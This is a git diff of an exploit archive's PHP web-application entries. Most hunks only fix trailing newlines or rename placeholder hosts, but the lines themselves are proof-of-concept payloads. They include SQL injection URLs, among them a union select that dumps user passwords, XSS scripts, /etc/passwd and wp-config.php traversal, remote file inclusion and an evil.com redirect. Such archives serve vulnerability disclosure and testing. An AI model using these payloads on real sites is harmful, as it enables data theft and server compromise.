4.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/gallery_e.php?id=118+order+by+10-- \ No newline at end of file +http://www.example.com/gallery_e.php?id=118+order+by+10-- \ No newline at end of file diff --git a/platforms/php/webapps/36522.txt b/platforms/php/webapps/36522.txt index 4186bb33e..b08f4bc30 100755 --- a/platforms/php/webapps/36522.txt +++ b/platforms/php/webapps/36522.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/pageE.php?id=118+order+by+10-- \ No newline at end of file +http://www.example.com/pageE.php?id=118+order+by+10-- \ No newline at end of file diff --git a/platforms/php/webapps/36523.txt b/platforms/php/webapps/36523.txt index b83d37102..7ecade084 100755 --- a/platforms/php/webapps/36523.txt +++ b/platforms/php/webapps/36523.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/pageH.php?id=104' \ No newline at end of file +http://www.example.com/pageH.php?id=104' \ No newline at end of file diff --git a/platforms/php/webapps/36524.txt b/platforms/php/webapps/36524.txt index 44b6c7557..94dac39f9 100755 --- a/platforms/php/webapps/36524.txt +++ b/platforms/php/webapps/36524.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/channels.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time \ No newline at end of file +http://www.example.com/[path]/channels.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time \ No newline at end of file diff --git a/platforms/php/webapps/36525.txt b/platforms/php/webapps/36525.txt index 70cbecb65..efaaa11ce 100755 --- a/platforms/php/webapps/36525.txt +++ b/platforms/php/webapps/36525.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/collections.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time \ No newline at end of file +http://www.example.com/[path]/collections.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time \ No newline at end of file diff --git a/platforms/php/webapps/36527.txt b/platforms/php/webapps/36527.txt index 91d361217..baffa1e57 100755 --- a/platforms/php/webapps/36527.txt +++ b/platforms/php/webapps/36527.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/search_result.php?query=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&submit=Search&type= \ No newline at end of file +http://www.example.com/[path]/search_result.php?query=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&submit=Search&type= \ No newline at end of file diff --git a/platforms/php/webapps/36528.txt b/platforms/php/webapps/36528.txt index 10a1bf8d3..86fd23f3d 100755 --- a/platforms/php/webapps/36528.txt +++ b/platforms/php/webapps/36528.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/videos.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time \ No newline at end of file +http://www.example.com/[path]/videos.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time \ No newline at end of file diff --git a/platforms/php/webapps/36529.txt b/platforms/php/webapps/36529.txt index 59642df83..38ecc07ed 100755 --- a/platforms/php/webapps/36529.txt +++ b/platforms/php/webapps/36529.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/view_collection.php?cid=9&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E \ No newline at end of file +http://www.example.com/[path]/view_collection.php?cid=9&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/36530.txt b/platforms/php/webapps/36530.txt index 292c8ee5d..4888b72d0 100755 --- a/platforms/php/webapps/36530.txt +++ b/platforms/php/webapps/36530.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/view_item.php?collection=9&item=KWSWG7S983SY&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E \ No newline at end of file +http://www.example.com/[path]/view_item.php?collection=9&item=KWSWG7S983SY&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/36531.txt b/platforms/php/webapps/36531.txt index 75885ab54..234339730 100755 --- a/platforms/php/webapps/36531.txt +++ b/platforms/php/webapps/36531.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27 \ No newline at end of file +http://www.example.com/[path]/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27 \ No newline at end of file diff --git a/platforms/php/webapps/36532.txt b/platforms/php/webapps/36532.txt index 1d84c970c..15c11f701 100755 --- a/platforms/php/webapps/36532.txt +++ b/platforms/php/webapps/36532.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a ClipBucket 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/channels.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27 \ No newline at end of file +http://www.example.com/[path]/channels.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27 \ No newline at end of file diff --git a/platforms/php/webapps/36534.txt b/platforms/php/webapps/36534.txt index cd13596c9..f24dc7c85 100755 --- a/platforms/php/webapps/36534.txt +++ b/platforms/php/webapps/36534.txt @@ -4,4 +4,4 @@ Marinet CMS is prone to multiple SQL-injection vulnerabilities because the appli Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/room2.php?roomid=[SQLi] \ No newline at end of file +http://www.example.com/room2.php?roomid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36535.txt b/platforms/php/webapps/36535.txt index edd0244f1..c6dec217d 100755 --- a/platforms/php/webapps/36535.txt +++ b/platforms/php/webapps/36535.txt @@ -4,4 +4,4 @@ Marinet CMS is prone to multiple SQL-injection vulnerabilities because the appli Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. - http://www.example.com/galleryphoto.php?id=[SQLi] \ No newline at end of file + http://www.example.com/galleryphoto.php?id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36536.txt b/platforms/php/webapps/36536.txt index fe380f417..422d3db68 100755 --- a/platforms/php/webapps/36536.txt +++ b/platforms/php/webapps/36536.txt @@ -4,4 +4,4 @@ Marinet CMS is prone to multiple SQL-injection vulnerabilities because the appli Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/gallery.php?photoid=1&id=[SQLi] \ No newline at end of file +http://www.example.com/gallery.php?photoid=1&id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36538.txt b/platforms/php/webapps/36538.txt index 109c601bb..b4d8e8c5e 100755 --- a/platforms/php/webapps/36538.txt +++ b/platforms/php/webapps/36538.txt @@ -8,4 +8,4 @@ Gregarius versions 0.6.1 and prior are vulnerable. http://www.example.com/?page=1[it'shere]&media=rss& http://www.example.com/admin/index.php?domain=folders&action=edit&fid=8[it'shere xss with sql] -http://www.example.com/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file +http://www.example.com/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file diff --git a/platforms/php/webapps/36539.txt b/platforms/php/webapps/36539.txt index c38de2312..385500452 100755 --- a/platforms/php/webapps/36539.txt +++ b/platforms/php/webapps/36539.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Advanced File Management 1.4 is vulnerable; other versions may also be affected. -http://www.example.com/users.php?page=[xss] \ No newline at end of file +http://www.example.com/users.php?page=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36540.txt b/platforms/php/webapps/36540.txt index 687d22ddb..4653841bc 100755 --- a/platforms/php/webapps/36540.txt +++ b/platforms/php/webapps/36540.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. WordPress Age Verification plugin 0.4 and prior versions are vulnerable. -http://www.example.com/wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com \ No newline at end of file +http://www.example.com/wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com \ No newline at end of file diff --git a/platforms/php/webapps/36541.txt b/platforms/php/webapps/36541.txt index 29cd8135e..fa45b043c 100755 --- a/platforms/php/webapps/36541.txt +++ b/platforms/php/webapps/36541.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHP-Fusion 7.02.04 is vulnerable; other versions may also be affected. -http://www.example.com/[Path]/downloads.php?cat_id=[Xss] \ No newline at end of file +http://www.example.com/[Path]/downloads.php?cat_id=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/36544.txt b/platforms/php/webapps/36544.txt index 4fc0f975f..c5982a881 100755 --- a/platforms/php/webapps/36544.txt +++ b/platforms/php/webapps/36544.txt @@ -30,4 +30,4 @@ http://www.example.com/support/staff/index.php?_m=livesupport&_a=managecannedres http://www.example.com/support/staff/index.php?_m=tickets&_a=managealerts -http://www.example.com/support/staff/index.php?_m=tickets&_a=managefilters \ No newline at end of file +http://www.example.com/support/staff/index.php?_m=tickets&_a=managefilters \ No newline at end of file diff --git a/platforms/php/webapps/36549.txt b/platforms/php/webapps/36549.txt index ba7099fc6..e3598df05 100755 --- a/platforms/php/webapps/36549.txt +++ b/platforms/php/webapps/36549.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc HD Video Share 1.3 is vulnerable; other versions may also be affected. http://www.example.com/index.php?option=com_contushdvideoshare&view=player&id=14 -http://www.example.com/index.php?option=com_contushdvideoshare&view=player&id=14â??a \ No newline at end of file +http://www.example.com/index.php?option=com_contushdvideoshare&view=player&id=14â??a \ No newline at end of file diff --git a/platforms/php/webapps/36550.txt b/platforms/php/webapps/36550.txt index 9e27d7063..b81f76601 100755 --- a/platforms/php/webapps/36550.txt +++ b/platforms/php/webapps/36550.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHP Membership Site Manager Script version 2.1 and prior are vulnerable. -http://www.example.com/[path]/scripts/membershipsite/manager/index.php?action=search&key=[xss] \ No newline at end of file +http://www.example.com/[path]/scripts/membershipsite/manager/index.php?action=search&key=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36551.txt b/platforms/php/webapps/36551.txt index 24492544f..106896593 100755 --- a/platforms/php/webapps/36551.txt +++ b/platforms/php/webapps/36551.txt @@ -4,4 +4,4 @@ PHP Ringtone Website is prone to multiple cross-site scripting vulnerabilities b An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/ringtones.php?mmchar0_1=[xss]&mmstart0_1=1&mmsection0_1=[xss] \ No newline at end of file +http://www.example.com/[path]/ringtones.php?mmchar0_1=[xss]&mmstart0_1=1&mmsection0_1=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36559.txt b/platforms/php/webapps/36559.txt index c6c1165a6..21d8d2438 100755 --- a/platforms/php/webapps/36559.txt +++ b/platforms/php/webapps/36559.txt @@ -37,4 +37,4 @@ exit; | [+] | [+] Examples : http://localhost/wordpress/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php |-------------------------------------------------------------------------| - |*||*||*||*||*||*||*||*||*||*||*||*||* \ No newline at end of file + |*||*||*||*||*||*||*||*||*||*||*||*||* \ No newline at end of file diff --git a/platforms/php/webapps/36561.txt b/platforms/php/webapps/36561.txt index 45907ed7d..345043f59 100755 --- a/platforms/php/webapps/36561.txt +++ b/platforms/php/webapps/36561.txt @@ -10,3 +10,4 @@ Contact Form Maker v1.0.1 suffers, from an SQL injection vulnerability. [+]Proof Of Concept: 127.0.0.1/index.php?option=com_contactformmaker&view=contactformmaker&id=SQL + \ No newline at end of file diff --git a/platforms/php/webapps/36566.txt b/platforms/php/webapps/36566.txt index 1a72a745b..a571b88fa 100755 --- a/platforms/php/webapps/36566.txt +++ b/platforms/php/webapps/36566.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/forum/register.php?'[xss] http://www.example.com/forum/register.php/''[xss] http://www.example.com/forum/logon.php?'"'[xss] -http://www.example.com/forum/logon.php/'"'[xss] \ No newline at end of file +http://www.example.com/forum/logon.php/'"'[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36568.txt b/platforms/php/webapps/36568.txt index 975dd5c29..ca581032a 100755 --- a/platforms/php/webapps/36568.txt +++ b/platforms/php/webapps/36568.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Giveaway Manager 3 is vulnerable; other versions may also be affected. -http://www.example.com/members.php?id=[XSS] \ No newline at end of file +http://www.example.com/members.php?id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36569.txt b/platforms/php/webapps/36569.txt index 2d95e74a1..f4526288f 100755 --- a/platforms/php/webapps/36569.txt +++ b/platforms/php/webapps/36569.txt @@ -4,4 +4,4 @@ Annuaire PHP is prone to multiple cross-site scripting vulnerabilities because i An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/referencement/sites_inscription.php?nom=xss&url=[xss] \ No newline at end of file +http://www.example.com/[path]/referencement/sites_inscription.php?nom=xss&url=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36572.txt b/platforms/php/webapps/36572.txt index 6ff95bcfc..1acbc9766 100755 --- a/platforms/php/webapps/36572.txt +++ b/platforms/php/webapps/36572.txt @@ -4,4 +4,4 @@ Toner Cart is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/united/show_series_ink.php?id=1â??a \ No newline at end of file +http://www.example.com/united/show_series_ink.php?id=1â??a \ No newline at end of file diff --git a/platforms/php/webapps/36573.txt b/platforms/php/webapps/36573.txt index 13ec9f7b1..feffea91f 100755 --- a/platforms/php/webapps/36573.txt +++ b/platforms/php/webapps/36573.txt @@ -4,4 +4,4 @@ MMORPG Zone is prone to an SQL-injection vulnerability because it fails to suffi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/games/view_news.php?news_id=7â??a \ No newline at end of file +http://www.example.com/games/view_news.php?news_id=7â??a \ No newline at end of file diff --git a/platforms/php/webapps/36574.txt b/platforms/php/webapps/36574.txt index 24b1bae3f..78abd712d 100755 --- a/platforms/php/webapps/36574.txt +++ b/platforms/php/webapps/36574.txt @@ -4,4 +4,4 @@ Freelance Zone is prone to an SQL-injection vulnerability because it fails to su Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/freelance/show_code.php?code_id=8â??a \ No newline at end of file +http://www.example.com/freelance/show_code.php?code_id=8â??a \ No newline at end of file diff --git a/platforms/php/webapps/36583.txt b/platforms/php/webapps/36583.txt index 9d798e682..1213ee572 100755 --- a/platforms/php/webapps/36583.txt +++ b/platforms/php/webapps/36583.txt @@ -4,4 +4,4 @@ The pnAddressbook module for PostNuke is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database -http://www.example.com/index.php module=pnAddressBook&func=viewDetail&formcall=edit&authid=2a630bd4b1cc5e7d03ef3ab28fb5e838&catview=0&sortview=0&formSearch=&all=1&menuprivate=0&total=78&page=1&char=&id=-46 union all select 1,2,3,group_concat(pn_uname,0x3a,pn_pass) \ No newline at end of file +http://www.example.com/index.php module=pnAddressBook&func=viewDetail&formcall=edit&authid=2a630bd4b1cc5e7d03ef3ab28fb5e838&catview=0&sortview=0&formSearch=&all=1&menuprivate=0&total=78&page=1&char=&id=-46 union all select 1,2,3,group_concat(pn_uname,0x3a,pn_pass) \ No newline at end of file diff --git a/platforms/php/webapps/36584.txt b/platforms/php/webapps/36584.txt index 2cebb96a5..cd37870ca 100755 --- a/platforms/php/webapps/36584.txt +++ b/platforms/php/webapps/36584.txt @@ -4,4 +4,4 @@ Vastal EzineShops is prone to an SQL-injection vulnerability because it fails to Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/mag/view_mags.php?cat_id=4â??a \ No newline at end of file +http://www.example.com/mag/view_mags.php?cat_id=4â??a \ No newline at end of file diff --git a/platforms/php/webapps/36589.txt b/platforms/php/webapps/36589.txt index 99fbae431..a420626d5 100755 --- a/platforms/php/webapps/36589.txt +++ b/platforms/php/webapps/36589.txt @@ -4,4 +4,4 @@ The 'com_br' component for Joomla! is prone to a local file-include vulnerabilit An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_br&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_br&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/3659.txt b/platforms/php/webapps/3659.txt index 1489f7ba7..aa6544775 100755 --- a/platforms/php/webapps/3659.txt +++ b/platforms/php/webapps/3659.txt @@ -19,7 +19,7 @@ include_once($language_path_core . 'inc/me_common.inc.php'); <<< rfi coded ************************************************************************************** RFI#1: -http://server/path/aroundme/components/core/inc/core_profile.header.php?language_path_core=[SHELL] +http://SITE.com/path/aroundme/components/core/inc/core_profile.header.php?language_path_core=[SHELL] ************************************************************************************** @@ -36,7 +36,7 @@ File:/components/core/template/barnraiser_01/maint_contact_view.tpl.php ************************************************************************************** RFI#2: -http://server/path/components/core/template/barnraiser_01/maint_contact_view.tpl.php?template_path_core=[SHELL] +http://SITE.com/path/components/core/template/barnraiser_01/maint_contact_view.tpl.php?template_path_core=[SHELL] @@ -52,7 +52,7 @@ include_once($template_path . "inc/menu_" . $section . ".inc.php"); <<< rfi c ************************************************************************************** RFI#3: -http://server/path/components/core/template/barnraiser_01/default.tpl.php?template_path=[SHELL] +http://SITE.com/path/components/core/template/barnraiser_01/default.tpl.php?template_path=[SHELL] ************************************************************************************** @@ -68,7 +68,7 @@ rfi coded ************************************************************************************** RFI#4: -http://server/path/components/core/template/barnraiser_01/maint_contact_view.tpl.php?template_path_core=[SHELL] +http://SITE.com/path/components/core/template/barnraiser_01/maint_contact_view.tpl.php?template_path_core=[SHELL] Thanks:Siircicocuk and x0r0n ************************************************************************************** ************************************************************************************** diff --git a/platforms/php/webapps/36590.txt b/platforms/php/webapps/36590.txt index f1f8375fd..abe3feac9 100755 --- a/platforms/php/webapps/36590.txt +++ b/platforms/php/webapps/36590.txt @@ -4,4 +4,4 @@ Tribiq CMS is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?id=[SQLi] \ No newline at end of file +http://www.example.com/index.php?id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36591.txt b/platforms/php/webapps/36591.txt index b6b03ff21..5982ccfc6 100755 --- a/platforms/php/webapps/36591.txt +++ b/platforms/php/webapps/36591.txt @@ -4,4 +4,4 @@ The Full ('com_full') component for Joomla! is prone to an SQL-injection vulnera Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_full&dzial=dam_prace&id=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_full&dzial=dam_prace&id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36592.txt b/platforms/php/webapps/36592.txt index ae26c023a..5402b55ef 100755 --- a/platforms/php/webapps/36592.txt +++ b/platforms/php/webapps/36592.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a http://www.example.com/index.php?option=com_sanpham&view=sanpham&kindid=[SQLi] http://www.example.com/index.php?option=com_sanpham&view=product&task=detail&modelsid=1&cid=[SQLi] http://www.example.com/index.php?option=com_sanpham&view=product&modelsid=[SQLi] -http://www.example.com/index.php?option=com_sanpham&view=product&markid=1&modelsid=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_sanpham&view=product&markid=1&modelsid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36593.txt b/platforms/php/webapps/36593.txt index f34d650e6..f2e89f2fd 100755 --- a/platforms/php/webapps/36593.txt +++ b/platforms/php/webapps/36593.txt @@ -4,4 +4,4 @@ The 'com_xball' component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. - http://www.example.com/index.php?option=com_xball&controller=teams&task=show&team_id=-98 (SQL) \ No newline at end of file + http://www.example.com/index.php?option=com_xball&controller=teams&task=show&team_id=-98 (SQL) \ No newline at end of file diff --git a/platforms/php/webapps/36594.txt b/platforms/php/webapps/36594.txt index ac0dc5552..455a3ae2e 100755 --- a/platforms/php/webapps/36594.txt +++ b/platforms/php/webapps/36594.txt @@ -4,4 +4,4 @@ The 'com_boss' component for Joomla! is prone to a local file-include vulnerabil An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_boss&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_boss&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36595.txt b/platforms/php/webapps/36595.txt index 96eb2913d..bf71e5244 100755 --- a/platforms/php/webapps/36595.txt +++ b/platforms/php/webapps/36595.txt @@ -8,4 +8,4 @@ http://www.example.com/index.php?option=com_car&view=product&modelsid=[SQLi] http://www.example.com/index.php?option=com_car&view=product&task=showAll&markid=[SQLi] http://www.example.com/index.php?option=com_car&brand_id=[SQLi] http://www.example.com/index.php?option=com_car&view=product&task=detail&markid=6&modelsid=&cid[]=[SQLi] -http://www.example.com/index.php?option=com_car&view=product&markid=&modelsid=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_car&view=product&markid=&modelsid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36596.txt b/platforms/php/webapps/36596.txt index 439ff554c..de4876c4f 100755 --- a/platforms/php/webapps/36596.txt +++ b/platforms/php/webapps/36596.txt @@ -4,4 +4,4 @@ The 'com_some' component for Joomla! is prone to a local file-include vulnerabil An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_some&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_some&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36597.txt b/platforms/php/webapps/36597.txt index f504fcc02..50f5354b2 100755 --- a/platforms/php/webapps/36597.txt +++ b/platforms/php/webapps/36597.txt @@ -4,4 +4,4 @@ The 'com_bulkenquery' component for Joomla! is prone to a local file-include vul An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_bulkenquery&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_bulkenquery&controller=../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/36598.txt b/platforms/php/webapps/36598.txt index fde7fdfe9..de8a1223f 100755 --- a/platforms/php/webapps/36598.txt +++ b/platforms/php/webapps/36598.txt @@ -4,4 +4,4 @@ The 'com_kp' component for Joomla! is prone to a local file-include vulnerabilit An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_kp&controller=[LFI] \ No newline at end of file +http://www.example.com/index.php?option=com_kp&controller=[LFI] \ No newline at end of file diff --git a/platforms/php/webapps/3660.pl b/platforms/php/webapps/3660.pl index 17c29056d..e7287c71e 100755 --- a/platforms/php/webapps/3660.pl +++ b/platforms/php/webapps/3660.pl @@ -65,8 +65,8 @@ sub usage() { head(); print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to CyBoards ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to CyBoards ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/36613.txt b/platforms/php/webapps/36613.txt index 3ca721e4e..1af39ad15 100755 --- a/platforms/php/webapps/36613.txt +++ b/platforms/php/webapps/36613.txt @@ -14,14 +14,14 @@ + REQUEST: POST /wp-content/plugins/simple-ads-manager/sam-ajax.php HTTP/1.1 -Host: server +Host: target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/28.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest -Referer: http://server/archives/wordpress-plugin-simple-ads-manager/ +Referer: http://target.com/archives/wordpress-plugin-simple-ads-manager/ Content-Length: 270 Cookie: wooTracker=cx5qN1BQ4nmu; _ga=GA1.2.344989027.1425640938; PHPSESSID=kqvtir87g33e2ujkc290l5bmm7; cre_datacookie=8405688a-3dec-4d02-9405-68f53281e991; _gat=1 Connection: keep-alive diff --git a/platforms/php/webapps/36614.txt b/platforms/php/webapps/36614.txt index 176529ef9..b2bb038a9 100755 --- a/platforms/php/webapps/36614.txt +++ b/platforms/php/webapps/36614.txt @@ -48,4 +48,4 @@ upload_ad_image + REFERENCE: - http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en -- https://www.youtube.com/watch?v=8IU9EtUTkxI \ No newline at end of file +- https://www.youtube.com/watch?v=8IU9EtUTkxI \ No newline at end of file diff --git a/platforms/php/webapps/36615.txt b/platforms/php/webapps/36615.txt index fd4f67666..364a9fc03 100755 --- a/platforms/php/webapps/36615.txt +++ b/platforms/php/webapps/36615.txt @@ -11,7 +11,7 @@ + REQUEST POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1 -Host: server +Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 17 diff --git a/platforms/php/webapps/36620.txt b/platforms/php/webapps/36620.txt index 759952ab9..e0c599940 100755 --- a/platforms/php/webapps/36620.txt +++ b/platforms/php/webapps/36620.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow YouSayToo auto-publishing 1.0 is vulnerable; other versions may also be affected. 